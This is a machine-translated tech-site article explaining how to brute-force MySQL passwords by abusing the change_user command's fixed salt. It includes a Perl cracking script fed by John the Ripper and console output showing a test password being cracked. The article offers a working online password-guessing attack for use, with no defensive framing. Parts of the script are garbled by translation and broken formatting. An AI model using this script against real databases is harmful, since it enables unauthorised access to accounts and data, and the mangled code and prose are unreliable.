Get the App
SLTechnology News&Howtos  ›  Database  › 

How to crack local and remote passwords in MySQL

Shulou Source: shulou.com Published: 2022-05-31 18:58:14 10月03日 Update

This article introduces how to crack local and remote passwords in MySQL. The content is very detailed. Interested friends can use it for reference. I hope it will be helpful to you.

The methods are as follows:

The attacker logs in to the MySQL server with an unprivileged account, and mysql has a command called change_user, which can be used to modify the name suggestion of a user in a mysql session. Because this command executes very quickly, it can be used to crack the mysql password quickly instead of reconnecting to the mysql server every time.

What makes it very slow?

Because using the change_user command does not change the SALT (which is a weakness), the regular method of cracking the password sends a different SALT to the server each time it connects.

Here is a Perl script that uses John the Ripper's method to generate passwords:

The user tested is a crackme password of pass, which can be cracked in a few seconds.

(100,000 passwords can be tested in about 20 seconds)

The test script is as follows:

Use Net::MySQL;$ | = 1 secret my $mysql = Net::MySQL- > new (hostname = > '192.168.2.3, database = >' test', user = > "user", password = > "secret", debug = > 0,); $crackuser = "crackme"; while () {chomp;$currentpass = $_; $vv = join ", $crackuser,"\ x14 ". Net::MySQL::Password- > scramble ($currentpass, $mysql- > {salt}, $mysql- > {client_capabilities}). "; if ($mysql- > _ execute_command ("\ x11 ", $vv) ne undef) {print" [*] Cracked!-- > $currentpass\ n "; exit;}}

Here are the results of the execution on my machine:

C:\ Users\ kingcope\ Desktop > C:\ Users\ kingcope\ Desktop\ john179\ run\ jo

Hn-- incremental-- stdout=5 | perl mysqlcrack.pl

Warning: MaxLen = 8 is too large for the current hash type, reduced to 5

Words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH

Words: 24573 time: 0:00:00:04 w/s: 4916 current: rap

Words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3

Words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429

Words: 65530 time: 0:00:00:12 w/s: 5354 current: ch241

Words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n

Words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2

[*] Cracked!-> pass

Words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs

Session aborted

I wish you a long way:)

Via grok

About how to crack local and remote passwords in MySQL to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Tags: Password command method server service content more user script help test different good hello interest just name buddy buddy general Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Microsoft NVidia MariaDB Shulou Technology Shulou Information